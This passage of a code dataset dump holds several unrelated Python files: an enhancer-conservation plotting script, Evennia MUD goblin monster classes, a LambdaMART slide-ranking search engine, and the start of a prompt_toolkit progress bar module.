consv.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/consv_vrs_90_%s_greater_than_zero_%s.bed\" %(now,item, now), sep = '\\t', index = False, header = False)\n hspec.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/hspec_vrs_90_%s_zero_%s.bed\" %(now, item, now), sep = '\\t', index = False, header = False)\n consv_10 = short_vrs_90[[\"v-chr\", \"v-start\", \"v-end\"]].loc[short_vrs_90['%s'%item] >= 10]\n consv_10.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/consv_10_vrs_90_%s_greater_than_zero_%s.bed\" %(now,item, now), sep = '\\t', index = False, header = False)\n\n############# SPECIES V. TISSUES DATA TO PLOT ##############\n\n# all of the enhancers\nsum_roadmap = short_vrs[\"sum\"].loc[short_vrs[\"sum\"]>0] # Villar enhancers overlapping roadmap\nsum_act_sp = short_vrs[\"sum_act_sp\"].loc[short_vrs[\"sum\"]>0]\nsum_aln_sp = short_vrs[\"sum_aln_sp\"].loc[short_vrs[\"sum\"]>0]\nsum_hq_act_sp= short_vrs[\"sum_hq_act_sp\"].loc[short_vrs[\"sum\"]>0]\nsum_hq_aln_sp= short_vrs[\"sum_hq_aln_sp\"].loc[short_vrs[\"sum\"]>0]\n\n#90th% of enhancers\nsum_roadmap_90 = short_vrs_90[\"sum\"].loc[short_vrs_90[\"sum\"]>0] # Villar enhancers overlapping roadmap\nsum_act_sp_90 = short_vrs_90[\"sum_act_sp\"].loc[short_vrs_90[\"sum\"]>0]\nsum_aln_sp_90 = short_vrs_90[\"sum_aln_sp\"].loc[short_vrs_90[\"sum\"]>0]\nsum_hq_act_sp_90= short_vrs_90[\"sum_hq_act_sp\"].loc[short_vrs_90[\"sum\"]>0]\nsum_hq_aln_sp_90= short_vrs_90[\"sum_hq_aln_sp\"].loc[short_vrs_90[\"sum\"]>0]\n\n# enhancers only found in Villar\nsum_roadmap_v = short_vrs[\"sum\"].loc[short_vrs[\"sum\"]==0] # Villar enhancers overlapping roadmap\nsum_act_sp_v = short_vrs[\"sum_act_sp\"].loc[short_vrs[\"sum\"]==0]\nsum_aln_sp_v= short_vrs[\"sum_aln_sp\"].loc[short_vrs[\"sum\"]==0]\nsum_hq_act_sp_v= short_vrs[\"sum_hq_act_sp\"].loc[short_vrs[\"sum\"]==0]\nsum_hq_aln_sp_v= short_vrs[\"sum_hq_aln_sp\"].loc[short_vrs[\"sum\"]==0]\n\n#### h-specific v. consv ACTIVITY dataframes ####\nhspec = short_vrs.loc[short_vrs[\"sum_act_sp\"] == 0]\nconsv = short_vrs.loc[short_vrs[\"sum_act_sp\"] > 0]\n\nhspec_90 = short_vrs_90.loc[short_vrs_90[\"sum_act_sp\"] == 0]\nconsv_90 = short_vrs_90.loc[short_vrs_90[\"sum_act_sp\"] > 0]\n\n\ndata_list_all = [hspec[\"length\"], consv[\"length\"], hspec_90[\"length\"], consv_90[\"length\"]]\ndata_list_90 = [hspec_90[\"length\"], consv_90[\"length\"]]\nbins = 3000 \nlabels = [\"hspec enh\", \"consv enh\", \"hspec_90 enh\", \"consv_90 enh\"]\ndatatype = \"length\"\naxis = short_vrs[\"length\"].max()\n#histogram(data, indices, datatype, labels, axis)\n\n#data, bins, patches = plt.hist(data_list_all, 100, alpha = 0.5, normed = False, label = labels)\ndata, bins, patches = plt.hist(data_list_90, 100, alpha = 0.5, normed = False, label = labels)\nplt.boxplot(data_list_all, labels = labels)\n#plt.boxplot(data_list_90)\n#plt.xscale( \"log\")\n#plt.legend()\nplt.ylabel(\"length (nt)\")\nplt.yscale(\"log\")\n#plt.ylabel(\"Num Enhancers\")\nplt.title(\"length of enhancers\")\n\noneway_f, oneway_p = stats.f_oneway(data_list_all[0],data_list_all[1],data_list_all[2],data_list_all[3])\n########### Plot the distribution of # species active enh v. # of tissues #########\n\nplt.figure(num=None, figsize = (8,6), dpi=200, facecolor= 'w', edgecolor ='k')\nplt.scatter(sum_act_sp,sum_roadmap, c= \"blue\", alpha= 0.5, label = \"Villar Active Enh Overlapping All Roadmap\")\nplt.scatter(sum_act_sp_90,sum_roadmap_90, c = \"yellow\", alpha = 0.5,label = \"Villar Active Enh Overlapping 90% Roadmap\")\nplt.scatter(sum_act_sp_v, sum_roadmap_v, c= \"red\", alpha = 0.5, label = \"Villar Active Enh Not Overlapping Roadmap\")\n\nplt.scatter(sum_hq_act_sp, sum_roadmap, c= \"green\", alpha= 0.75, label = \"HQ-Villar Active Enh Overlapping All Roadmap\")\nplt.scatter (sum_hq_act_sp_90, sum_roadmap_90, c = \"orange\", alpha = 0.75,label = \"HQ-Villar Active Enh Overlapping 90% Roadmap\")\nplt.scatter(sum_hq_act_sp_v,sum_roadmap_v, c= \"purple\", alpha= 0.75, label = \"HQ-Villar Active Enh Overlapping All Roadmap\")\nplt.ylabel(\"Num. Overlapping Roadmap Datasets\")\n\n#plt.ylim(ymax = 20)\nplt.xticks(np.arange(0, 19, 2))\nplt.xlabel(\"Num. Species - Active Enh\")\nplt.legend()\nplt.title(\" Num. Species Active Enh \\n x Num. Overlapping Roadmap Active Enhancers\")\n\nplt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_method2_overlap_roadmap_x_act_enh_sp_%s.pdf\" % (now,now,now))\nplt.close()\n############# Heat map? ##################\n\nplt.figure(num=None, figsize = (8,6), dpi=200, facecolor= 'w', edgecolor ='k')\nplt.scatter(sum_aln_sp,sum_roadmap, c= \"blue\", alpha= 0.5, label = \"Villar Active Enh Overlapping All Roadmap\")\nplt.scatter(sum_aln_sp_90,sum_roadmap_90, c = \"yellow\", alpha = 0.5,label = \"Villar Active Enh Overlapping 90% Roadmap\")\nplt.scatter(sum_aln_sp_v, sum_roadmap_v, c= \"red\", alpha = 0.5, label = \"Villar Active Enh Not Overlapping Roadmap\")\n\nplt.scatter(sum_hq_aln_sp, sum_roadmap, c= \"green\", alpha= 0.75, label = \"HQ-Villar Active Enh Overlapping All Roadmap\")\nplt.scatter (sum_hq_aln_sp_90, sum_roadmap_90, c = \"orange\", alpha = 0.75,label = \"HQ-Villar Active Enh Overlapping 90% Roadmap\")\nplt.scatter(sum_hq_aln_sp_v,sum_roadmap_v, c= \"purple\", alpha= 0.75, label = \"HQ-Villar Active Enh Overlapping All Roadmap\")\nplt.ylabel(\"Num. Overlapping Roadmap Datasets\")\n\n#plt.ylim(ymax = 20)\nplt.xticks(np.arange(0, 19, 2))\nplt.xlabel(\"Num. Species - Alignable Enh\")\nplt.legend()\nplt.title(\" Num. Species Alignable Enh \\n x Num. Overlapping Roadmap Active Enhancers\")\n\nplt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_method2_overlap_roadmap_x_aln_enh_sp_%s.pdf\" % (now,now,now))\nplt.close()\n\n\n############# PLOT HISTOGRAMs ############\n\nbins = np.arange(short_vrs[\"sum_aln_sp\"].max()+1)\nbins_hq = np.arange(short_vrs[\"sum_hq_aln_sp\"].max()+1)\n\ndata_aln = [sum_aln_sp, sum_aln_sp_90]\ndata_aln_hq = [sum_hq_aln_sp, sum_hq_aln_sp_90]\ndata_act = [sum_act_sp, sum_act_sp_90]\ndata_act_hq = [sum_hq_act_sp, sum_hq_act_sp_90] # a \nlabels = [\"All hVillar\", \"90th hVillar x Roadmap\"] # list of the labels of the data\n\n\ndef histogram(data, bins, datatype, labels, axis):\n plt.hist(data, bins, alpha = 0.7, normed= False, label = labels)\n plt.xticks(np.arange(0, len(bins)+1, axis))\n #plt.axhline((data.max() for i in bins, color='y', linestyle='dashed', linewidth=1)\n plt.xlabel(\"Num. Species %s Enhancers\" % datatype)\n plt.ylabel(\"Num. hVillar Enhancers\")\n plt.title(\"Abs. Number Broadly Active Enhancers \\n %s In Other All Species\" % datatype)\n plt.legend()\n\n #plt.show()\n plt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n plt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_hist_abs_%s.pdf\" %(now,now, datatype))\n plt.close()\n\n plt.hist(data, bins, alpha = 0.7, normed= True, label = labels)\n plt.xticks(np.arange(0, len(bins+1), axis)) \n \n #plt.axhline((data.max() for i in bins, color='y', linestyle='dashed', linewidth=1)\n plt.xlabel(\"Num. Species %s Enhancers\"%datatype)\n plt.ylabel(\"Freq. hVillar Enhancers\")\n plt.title(\"Frequencey Of Broadly Active Enhancers \\n %s In Other All Species\" % datatype)\n plt.legend()\n\n #plt.show()\n plt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n plt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_hist_normed_%s.pdf\" %(now,now, datatype))\n plt.close()\n\nhistogram(data_aln, bins,\"Alignable\", labels,1)\nhistogram(data_aln_hq,bins_hq,\"Alignment_HQ\", labels,1)\n\nhistogram(data_act,bins,\"Active\", labels, 1)\nhistogram(data_act_hq,bins_hq,\"Active_HQ\", labels, 1)\n\n","sub_path":"method2_v3.py","file_name":"method2_v3.py","file_ext":"py","file_size_in_byte":19652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"538133713","text":"\"\"\"\r\nMonsters\r\n\r\nMonsters are instances of class Mob.\r\n\r\n\"\"\"\r\nimport random\r\n\r\nfrom evennia import create_object\r\nfrom evennia.utils.spawner import spawn\r\n\r\nfrom typeclasses.characters import Mob \r\nfrom typeclasses.treasure import generate_lootbox\r\n\r\nclass Goblin(Mob):\r\n\r\n \"\"\"Goblin\"\"\"\r\n\r\n def at_object_creation(self):\r\n\r\n # call super\r\n super(Goblin, self).at_object_creation()\r\n\r\n # Type of mobile # trash # normal # boss\r\n self.db.type = 'trash'\r\n\r\n # stats/skills\r\n # all stats are '1' by default\r\n # all skills are '0' by default\r\n self.db.stats['str'] = 5\r\n self.db.stats['dex'] = 8 \r\n self.db.stats['sta'] = 5\r\n self.db.stats['int'] = 4\r\n self.db.stats['wit'] = 6\r\n self.db.stats['res'] = 4\r\n self.db.stats['pre'] = 4\r\n self.db.stats['man'] = 5\r\n self.db.stats['com'] = 3\r\n\r\n self.db.skills['dodge'] = 20\r\n self.db.skills['combat_tactics'] = 20\r\n self.db.skills['parry'] = 20\r\n self.db.skills['chain_armor'] = 20\r\n self.db.skills['light_swords'] = 20\r\n self.db.skills['brawling'] = 10\r\n\r\n self.db.size = 4\r\n self.db.is_monster = True\r\n self.db.gender = random.choice([\"male\", \"female\", \"ambiguous\"])\r\n self.db.hp_max = 30\r\n self.db.hp = 30\r\n self.db.desc_alive = \"A common goblin. Short and somewhat greasy.\"\r\n self.db.desc_dead = \"A greasy goblin corpse.\"\r\n self.db.irregular_msgs = [\"%s shoves a finger in |p nose.\", \"%s shifts |p weight slightly and smiles to |oself.\"]\r\n self.db.patrolling_pace = 20\r\n self.db.aggressive_pace = 5\r\n\r\n self.db.weapon_preferred = \"light_swords\"\r\n\r\n # create equipment\r\n weapon = create_object(\"typeclasses.weapons.Shortsword\", key=\"a shortsword\")\r\n weapon.move_to(self, quiet=True)\r\n self.db.rhand = weapon\r\n self.db.lhand = None\r\n\r\n clothing = spawn({\"prototype\": \"FULLBODY\", \"key\": \"a tattered burlap tunic\"})\r\n clothing = clothing[0]\r\n clothing.move_to(self, quiet=True)\r\n clothing.db.worn = True\r\n\r\n # create loot\r\n rand = random.randint(0,100)\r\n if rand > 80:\r\n box = generate_lootbox(100)\r\n box.move_to(self, quiet=True)\r\n else:\r\n self.db.wealth = random.randint(0,10)\r\n\r\nclass GoblinBoss(Mob):\r\n\r\n \"\"\"Goblin Boss\"\"\"\r\n\r\n def at_object_creation(self):\r\n\r\n # call super\r\n super(GoblinBoss, self).at_object_creation()\r\n\r\n # Type of mobile # trash # normal # boss\r\n self.db.type = 'boss'\r\n\r\n # stats/skills\r\n # all stats are '1' by default\r\n # all skills are '0' by default\r\n self.db.stats['str'] = 40\r\n self.db.stats['dex'] = 60\r\n self.db.stats['sta'] = 30\r\n self.db.stats['int'] = 20\r\n self.db.stats['wit'] = 25\r\n self.db.stats['res'] = 15\r\n self.db.stats['pre'] = 15\r\n self.db.stats['man'] = 20\r\n self.db.stats['com'] = 15\r\n\r\n self.db.skills['dodge'] = 600 \r\n self.db.skills['combat_tactics'] = 400\r\n self.db.skills['parry'] = 400 \r\n self.db.skills['chain_armor'] = 400\r\n self.db.skills['heavy_swords'] = 500\r\n\r\n self.db.size = 5\r\n self.db.is_monster = True\r\n self.db.gender = random.choice([\"male\", \"female\"])\r\n self.db.hp_max = 5000\r\n self.db.hp = 5000\r\n self.db.desc_alive = \"Much larger than an average goblin and extremely greasy.\"\r\n self.db.desc_dead = \"A massive greasy goblin corpse.\"\r\n self.db.irregular_msgs = [\"%s's eyes bulge as |s stomps |p feet angrily.\", \"%s swings |p broadsword about wildly and screams!\"]\r\n self.db.patrolling_pace = 20\r\n self.db.aggressive_pace = 5\r\n\r\n self.db.weapon_preferred = \"heavy_swords\"\r\n\r\n # create equipment\r\n weapon = create_object(\"typeclasses.weapons.Broadsword\", key=\"a notched broadsword\")\r\n weapon.move_to(self, quiet=True)\r\n self.db.rhand = weapon\r\n\r\n armor = create_object(\"typeclasses.armor.Chain\", key=\"a chainmail shirt\")\r\n armor.move_to(self, quiet=True)\r\n armor.db.worn = True\r\n\r\n # create loot\r\n rand = random.randint(0,100)\r\n if rand > 50:\r\n box = generate_lootbox(1000)\r\n box.move_to(self, quiet=True)\r\n else:\r\n self.db.wealth = random.randint(200,400)\r\n","sub_path":"typeclasses/monsters.py","file_name":"monsters.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"627888541","text":"\"\"\"\n Slide Search based upon Lambda MART.\n LambdaMART implementation used is pyltr(https://github.com/jma127/pyltr).\n Design\n https://prezentium.sharepoint.com/sites/lisadev/Shared%20Documents/01_Design/Atto%20-%20Design%20-%20Slide%20Search.docx?web=1\n References:\n Microsoft LTR dataset: https://www.microsoft.com/en-us/research/project/mslr\n\"\"\"\n\nimport json, re, pickle\nimport gensim, pyltr\n\nimport numpy as np\nfrom itertools import accumulate\nfrom attrdict import AttrDict\n\nfrom LibLisa import lisaConfig, methodProfiler, blockProfiler, lastCallProfile\nfrom SlideSearch.SlideSearchBase import SlideSearchBase\nfrom SlideSearch.SectionModel import SectionModel\n\nclass SlideSearchLambdaMart(SlideSearchBase):\n \"\"\"\n Search engine object for slides, using LambdaMART.\n \"\"\"\n def __init__(self, dataForIndexing, config):\n \"\"\"\n Constructor for SlideSearchIndex takes the path of slide contents file as input.\n \"\"\"\n isDjangoModel = config[\"isDjangoModel\"]\n with blockProfiler(\"SlideSearchLambdaMart.__init__\"):\n # Invoke base class constructor.\n super().__init__(dataForIndexing, config)\n\n # Build the word corpus.\n if not self.dataForIndexing[\"Slides\"]:\n self.dictionary = None\n self.slideTagModel = None\n self.constructPathList = []\n self.constructPathToIndex = {}\n self.constructPathModel = None\n else:\n allSlides = self.dataForIndexing[\"Slides\"]\n def extractSlideCorpus(slide):\n retval = []\n retval.extend(self.getTags(slide))\n return retval\n\n completeCorpus = [extractSlideCorpus(slide) for slide in allSlides]\n\n # Create a word dictionary for use in vector building.\n self.dictionary = gensim.corpora.Dictionary(completeCorpus)\n\n # Build section wise corpora and model for slide tags.\n slideTagCorpora = [self.getTags(slide) for slide in allSlides]\n\n self.slideTagModel = SectionModel(slideTagCorpora, self.dictionary)\n\n # Build corpora for construct paths.\n constructPathCorpora = set([self.getPath(slide) for slide in allSlides])\n self.constructPathList = [list(constructPath) for constructPath in constructPathCorpora]\n self.constructPathToIndex = { tuple(path):index for (index, path) in enumerate(self.constructPathList) }\n self.constructPathModel = SectionModel(self.constructPathList, self.dictionary)\n\n @methodProfiler\n def features(self, queryInfo, permittedSlides=None):\n \"\"\"\n Computes feature vector, one for eacg slides in DB.\n ftrVec(queryInfo, slide) will determine the rating score of slide, when querying for slide.\n \"\"\"\n allSlides = self.dataForIndexing[\"Slides\"]\n if permittedSlides is None:\n permittedSlides = allSlides\n permittedIndices = range(len(allSlides))\n else:\n slideToIndexMap = { self.getAttr(slide, \"id\"):index for (index, slide) in enumerate(allSlides) }\n permittedIndices = [slideToIndexMap[self.getAttr(slide, \"id\")] for slide in permittedSlides]\n\n # Create construct feature array from path model.\n constructFtrArray = self.constructPathModel.get_features(queryInfo)\n\n # Use construct level features as initial slide level features.\n slideFtrArray = []\n for slide in permittedSlides:\n toAppend = []\n # Get construct level features for the current slide.\n toAppend.extend(constructFtrArray[self.constructPathToIndex[self.getPath(slide)]])\n\n # Add zeptoDownloads count as a feature.\n toAppend.append(self.getAttr(slide, \"zeptoDownloads\"))\n\n # Append a copy of features into the slide feature array.\n slideFtrArray.append(toAppend)\n\n # To the features already built, append features corresponding to slide tag model.\n slideFtrArray = self.slideTagModel.get_features(queryInfo, slideFtrArray, permittedIndices)\n\n return slideFtrArray\n\n @methodProfiler\n def buildSeedTrainingSet(self, seedDataBuilder):\n \"\"\"\n To train LambdaMART model, we need to first build a basic training set.\n This training set should work for the case when true rating data is not available.\n \"\"\"\n # Build a word occurence dictionary mapping words to slides where they occur.\n wordToMatchingSlides = {}\n for slide in self.dataForIndexing[\"Slides\"]:\n for tag in self.getTags(slide):\n if re.search(\"[0-9]\", tag):\n # Tags with digits are not interesting for search.\n continue\n if tag in wordToMatchingSlides:\n wordToMatchingSlides[tag].append(slide)\n else:\n wordToMatchingSlides[tag] = [slide]\n wordToMatchingSlides = list(wordToMatchingSlides.items())\n\n # Sort words according to the # of slides they occur in.\n wordToMatchingSlides.sort(key = lambda tuple:len(tuple[1]))\n # Save word occurence dictionary.\n with open(lisaConfig.dataFolderPath + \"trainingWords.json\", \"w\") as fp:\n wordToMatchingSlideIds = {}\n for (word, matchingSlides) in wordToMatchingSlides:\n wordToMatchingSlideIds[word] = list(map(lambda slide:slide[\"id\"], matchingSlides))\n json.dump(wordToMatchingSlideIds, fp, indent=4)\n\n # Only retain words with frequency less than 1% of total slides.\n freqThreshold = int(0.02 * len(self.dataForIndexing[\"Slides\"]))\n nonMatchingSlideCount = int(0.02 * len(self.dataForIndexing[\"Slides\"]))\n wordToMatchingSlides = [(word, matchingSlides) for (word, matchingSlides) in wordToMatchingSlides if len(matchingSlides) < freqThreshold]\n\n retval = []\n for (index, (word, matchingSlides)) in enumerate(wordToMatchingSlides):\n with blockProfiler(\"buildSeedTrainingSet.\"+word):\n simulatedQuery = {\"id\" : word}\n simulatedQuery[\"queryJson\"] = {\"RatingKeywords\" : [word]}\n\n # Now, find slides, which are close but are not matching.\n closeButNotMatchingSlides = []\n i = 0\n permittedSlideList = list(seedDataBuilder.getPermittedSlides(simulatedQuery[\"queryJson\"]))\n results = seedDataBuilder.slideSearch(simulatedQuery[\"queryJson\"], permittedSlideList)\n while len(closeButNotMatchingSlides) < nonMatchingSlideCount:\n if results[i][1] not in matchingSlides:\n closeButNotMatchingSlides.append(results[i][1])\n i += 1\n\n simulatedQueryResults = []\n simulatedQuery[\"results\"] = simulatedQueryResults\n\n maxDownloads1 = max([slide[\"zeptoDownloads\"] for slide in matchingSlides])\n maxDownloads2 = max([slide[\"zeptoDownloads\"] for slide in closeButNotMatchingSlides])\n maxDownloads = float(max(maxDownloads1, maxDownloads2) + 0.0001)\n # Build positive results.\n for slide in matchingSlides:\n simulatedQueryResult = {\n \"avgRating\" : 5 + int(10 * slide[\"zeptoDownloads\"]/maxDownloads),\n \"slide\" : slide[\"id\"],\n }\n simulatedQueryResults.append(simulatedQueryResult)\n\n # Build negative results.\n for slide in closeButNotMatchingSlides:\n simulatedQueryResult = {\n \"avgRating\": -15 + int(10 * slide[\"zeptoDownloads\"] / maxDownloads),\n \"slide\": slide[\"id\"],\n }\n simulatedQueryResults.append(simulatedQueryResult)\n\n retval.append(simulatedQuery)\n print(\"{0}: Processed word {1}, occuring in {2}.\".format(index, word, wordToMatchingSlideIds[word]))\n return retval\n\n @methodProfiler\n def fit(self, slideRatingVecs):\n \"\"\"\n\n slideRatingVecs: \n Contains feature vector computed for each pair of query and one result row in the DB.\n Partitioned into three groups.\n slidaRatingVecs[\"T\"] : Slide rating vectors for training.\n slidaRatingVecs[\"V\"] : Slide rating vectors for validation.\n slidaRatingVecs[\"E\"] : Slide rating vectors for final evaluation.\n Each of the above three have\n slidaRatingVecs[\"T\"][\"X\"] : feature vectors for the pair.\n slidaRatingVecs[\"T\"][\"y\"] : Rating values for the pair.\n slidaRatingVecs[\"T\"][\"qids\"] : Query ID for the pair.\n qids can be used to determine if the training rows correspond to same query\n string or different.\n \"\"\"\n # Use NDCG metric.\n self.LambdaMartMetric = pyltr.metrics.NDCG(k=10)\n \n # Monitor progress and stop early.\n self.LambdaMartMonitor = pyltr.models.monitors.ValidationMonitor(\n slideRatingVecs[\"V\"][\"X\"],\n slideRatingVecs[\"V\"][\"y\"],\n slideRatingVecs[\"V\"][\"qids\"],\n metric=self.LambdaMartMetric,\n stop_after=250)\n\n # Build model instance.\n self.LambdaMartModel = pyltr.models.LambdaMART(\n metric=self.LambdaMartMetric,\n n_estimators=50,\n learning_rate=0.02,\n max_features=0.5,\n query_subsample=0.5,\n max_leaf_nodes=10,\n min_samples_leaf=64,\n verbose=1,\n )\n\n # Fit the model.\n self.LambdaMartModel.fit(\n slideRatingVecs[\"T\"][\"X\"],\n slideRatingVecs[\"T\"][\"y\"],\n slideRatingVecs[\"T\"][\"qids\"],\n monitor=self.LambdaMartMonitor)\n\n Epred = self.LambdaMartModel.predict(slideRatingVecs[\"E\"][\"X\"])\n randomRankingMetric = self.LambdaMartMetric.calc_mean_random(\n slideRatingVecs[\"E\"][\"qids\"],\n slideRatingVecs[\"E\"][\"y\"])\n\n ourModelRankingMetric = self.LambdaMartMetric.calc_mean(\n slideRatingVecs[\"E\"][\"qids\"],\n np.array(slideRatingVecs[\"E\"][\"y\"]),\n Epred)\n\n return {\n \"randomRankingMetric\": float(randomRankingMetric),\n \"ourModelRankingMetric\": float(ourModelRankingMetric)\n }\n\n def json(self):\n retval = {}\n retval[\"feature_importances_\"] = self.LambdaMartModel.feature_importances_\n retval[\"oob_improvement_\"] = self.LambdaMartModel.oob_improvement_\n retval[\"train_score_\"] = self.LambdaMartModel.train_score_\n #retval[\"estimators_\"] = self.LambdaMartModel.estimators_\n retval[\"estimators_fitted_\"] = self.LambdaMartModel.estimators_fitted_\n return retval\n\n @methodProfiler\n def slideSimilarity(self, queryInfo, permittedSlides):\n \"\"\"\n This method computes similarity scores for all slides in permittedSlides.\n Query made in queryInfo.\n \"\"\"\n # Calculate feature vector for all slides in the DB.\n ftrVec = self.features(queryInfo, permittedSlides)\n\n # Use LambdaMART model to calculate the scores of each slide in DB.\n # Retval is a dictionary from \"original index\" of a slide to its score.\n retval = {}\n if ftrVec:\n for (index, score) in enumerate(self.LambdaMartModel.predict(ftrVec)):\n slide = permittedSlides[index]\n retval[index] = score\n\n # Return the result.\n return retval\n\n @methodProfiler\n def saveTrainingResult(self, filename):\n \"\"\"\n Pre Conditions:\n fit has already been called.\n We have already called fit. We are only interested in the result of fit().\n Nothing else is really important.\n Things to save:\n 1) self.LambdaMartMetric.\n 2) self.LambdaMartMonitor.\n 3) self.LambdaMartModel.\n \"\"\"\n tupleToSave = (self.LambdaMartMetric, self.LambdaMartMonitor, self.LambdaMartModel)\n with open(filename, \"wb\") as fp:\n pickle.dump(tupleToSave, fp)\n\n @methodProfiler\n def loadTrainingResult(self, filePointer, schemaVersion):\n \"\"\"\n Inverse of saveTrainingResult, it loads the data saved by saveTrainingResult().\n \"\"\"\n if schemaVersion == 1:\n savedTuple = pickle.load(filePointer)\n (self.LambdaMartMetric, self.LambdaMartMonitor, self.LambdaMartModel) = savedTuple\n else:\n raise NotImplemented(\"Incorrect schema version.\")\n\n@methodProfiler\ndef extractCorpus(slideComponent):\n \"\"\"\n Extract string corpus to search for in the slides.\n \"\"\"\n if isinstance(slideComponent, str):\n return re.split(\"\\W+\", slideComponent)\n if any([isinstance(slideComponent, T) for T in [int, bool]]):\n return []\n elif isinstance(slideComponent, list) or isinstance(slideComponent, tuple):\n retval = []\n for item in slideComponent:\n retval.extend(extractCorpus(item))\n if isinstance(slideComponent, tuple):\n retval = tuple(retval)\n return retval\n elif isinstance(slideComponent, dict):\n retval = []\n for (key, value) in slideComponent.items():\n retval.append(key)\n retval.extend(extractCorpus(value))\n return retval\n else:\n import pdb;pdb.set_trace()\n\n","sub_path":"src/SlideSearch/SlideSearchLambdaMART.py","file_name":"SlideSearchLambdaMART.py","file_ext":"py","file_size_in_byte":13712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"576706027","text":"\"\"\"\nProgress bar implementation on top of prompt_toolkit.\n\n::\n\n with progress_bar(...) as pb:\n for item in pb(data):\n ...\n\"\"\"\nfrom __future__ import unicode_literals\nfrom prompt_toolkit.application import Application\nfrom prompt_toolkit.filters import Condition, is_done, renderer_height_is_known\nfrom prompt_toolkit.formatted_text import to_formatted_text, HTML\nfrom prompt_toolkit.input.vt100 import PipeInput\nfrom prompt_toolkit.key_binding import KeyBindings\nfrom prompt_toolkit.layout import Layout, Window, ConditionalContainer, FormattedTextControl, HSplit\nfrom prompt_toolkit.layout.controls import UIControl, UIContent\nfrom prompt_toolkit.layout.dimension import D\nfrom prompt_toolkit.utils import in_main_thread\nfrom prompt_toolkit.eventloop import get_event_loop\n\nimport datetime\nimport os\nimport signal\nimport threading\n\n__all__ = (\n 'progress_bar',\n)\n\n\ndef default_format(progress_bar, progress, width):\n try:\n pb_width = width - 50 - len(progress.title)\n\n pb_a = int(progress.percentage * pb_width / 100)\n bar_a = '=' * pb_a\n bar_b = ' ' * (pb_width - pb_a)\n\n time_elapsed = progress.time_elapsed\n eta = progress.eta\n return HTML(\n '<b>{title}</b>'\n '{separator}'\n '{percentage:>5}%'\n ' |<completed abg=\"#888888\">{bar_a}></completed><pending>{bar_b}</pending>| '\n '{current}/{total} '\n '{time_elapsed} eta <eta>[{eta}]</eta>'\n ).format(\n title=progress.title,\n separator=(': ' if progress.title else ''),\n percentage=round(progress.percentage, 1), \n bar_a=bar_a,\n bar_b=bar_b,\n current=progress.current,\n total=progress.total,\n time_elapsed='{0}'.format(time_elapsed).split('.')[0],\n eta='{0}'.format(eta).split('.')[0],\n )\n except BaseException as e:\n import traceback; traceback.print_exc()\n return ''\n\n\ndef create_key_bindings():\n \"\"\"\n Key bindings handled by the progress bar.\n (The main thread is not supposed to handle any key bindings.)\n \"\"\"\n kb = KeyBindings()\n\n @kb.add('c-l')\n def _(event):\n event.app.renderer.clear()\n\n @kb.add('c-c')\n def _(event):\n # Send KeyboardInterrupt to the main thread.\n os.kill(os.getpid(), signal.SIGINT)\n\n return kb\n\n\nclass progress_bar(object):\n \"\"\"\n Progress bar context manager.\n\n Usage ::\n\n with progress_bar(...) as pb:\n for item in pb(data):\n ...\n\n :param title: Text to be displayed above the progress bars. This can be a\n callable or formatted text as well.\n :param bottom_toolbar: Text to be displayed in the bottom toolbar.\n This can be a callable or formatted text.\n \"\"\"\n def __init__(self, title=None, formatter=default_format, bottom_toolbar=None, style=None):\n self.title = title\n self.formatter = formatter\n self.bottom_toolbar = bottom_toolbar\n self.counters = []\n self.style = style\n self._thread = None\n\n self._loop = get_event_loop()\n self._previous_winch_handler = None\n self._has_sigwinch = False\n\n def __enter__(self):\n # Create UI Application.\n title_toolbar = ConditionalContainer(\n Window(FormattedTextControl(lambda: self.title), height=1),\n filter=Condition(lambda: self.title is not None))\n\n bottom_toolbar = ConditionalContainer(\n Window(FormattedTextControl(lambda: self.bottom_toolbar,\n style='class:bottom-toolbar.text'),\n style='class:bottom-toolbar',\n height=1),\n filter=~is_done & renderer_height_is_known &\n Condition(lambda: self.bottom_toolbar is not None))\n\n self.app = Application(\n min_redraw_interval=.05,\n layout=Layout(HSplit([\n title_toolbar,\n Window(\n content=_ProgressControl(self),\n height=lambda: len(self.counters)),\n Window(),\n bottom_toolbar,\n ])),\n style=self.style)\n\n # Run application in different thread.\n def run():\n try:\n self.app.run()\n except Exception as e:\n import traceback; traceback.print_exc()\n print(e)\n\n self._thread = threading.Thread(target=run)\n self._thread.start()\n\n # Attach WINCH signal handler in main thread.\n # (Interrupt that we receive during resize events.)\n self._has_sigwinch = hasattr(signal, 'SIGWINCH') and in_main_thread()\n if self._has_sigwinch:\n self._previous_winch_handler = self._loop.add_signal_handler(\n signal.SIGWINCH, self.app.invalidate)\n\n return self\n\n def __exit__(self, *a):\n # Quit UI application.\n if self.app.is_running:\n self.app.set_return_value(None)\n\n # Remove WINCH handler.\n if self._has_sigwinch:\n self._loop.add_signal_handler(signal.SIGWINCH, self._previous_winch_handler)\n\n self._thread.join()\n\n def __call__(self, data=None, title='', remove_when_done=False, total=None):\n \"\"\"\n Start a new counter.\n\n :param remove_when_done: When `True`, hide this progress bar.\n :param total: Specify the maximum value if it can't be calculated by\n calling ``len``.\n \"\"\"\n counter = ProgressBarCounter(\n self, data, title=title, remove_when_done=remove_when_done, total=total)\n self.counters.append(counter)\n return counter\n\n def invalidate(self):\n self.app.invalidate()\n\n\nclass _ProgressControl(UIControl):\n \"\"\"\n User control for the progress bar.\n \"\"\"\n def __init__(self, progress_bar):\n self.progress_bar = progress_bar\n self._key_bindings = create_key_bindings()\n\n def create_content(self, width, height):\n items = []\n for pr in self.progress_bar.counters:\n items.append(to_formatted_text(\n self.progress_bar.formatter(self.progress_bar, pr, width)))\n\n def get_line(i):\n return items[i]\n return UIContent(\n get_line=get_line,\n line_count=len(items),\n show_cursor=False)\n\n def is_focussable(self):\n return True # Make sure that the key bindings work.\n\n def get_key_bindings(self):\n return self._key_bindings\n\n\nclass 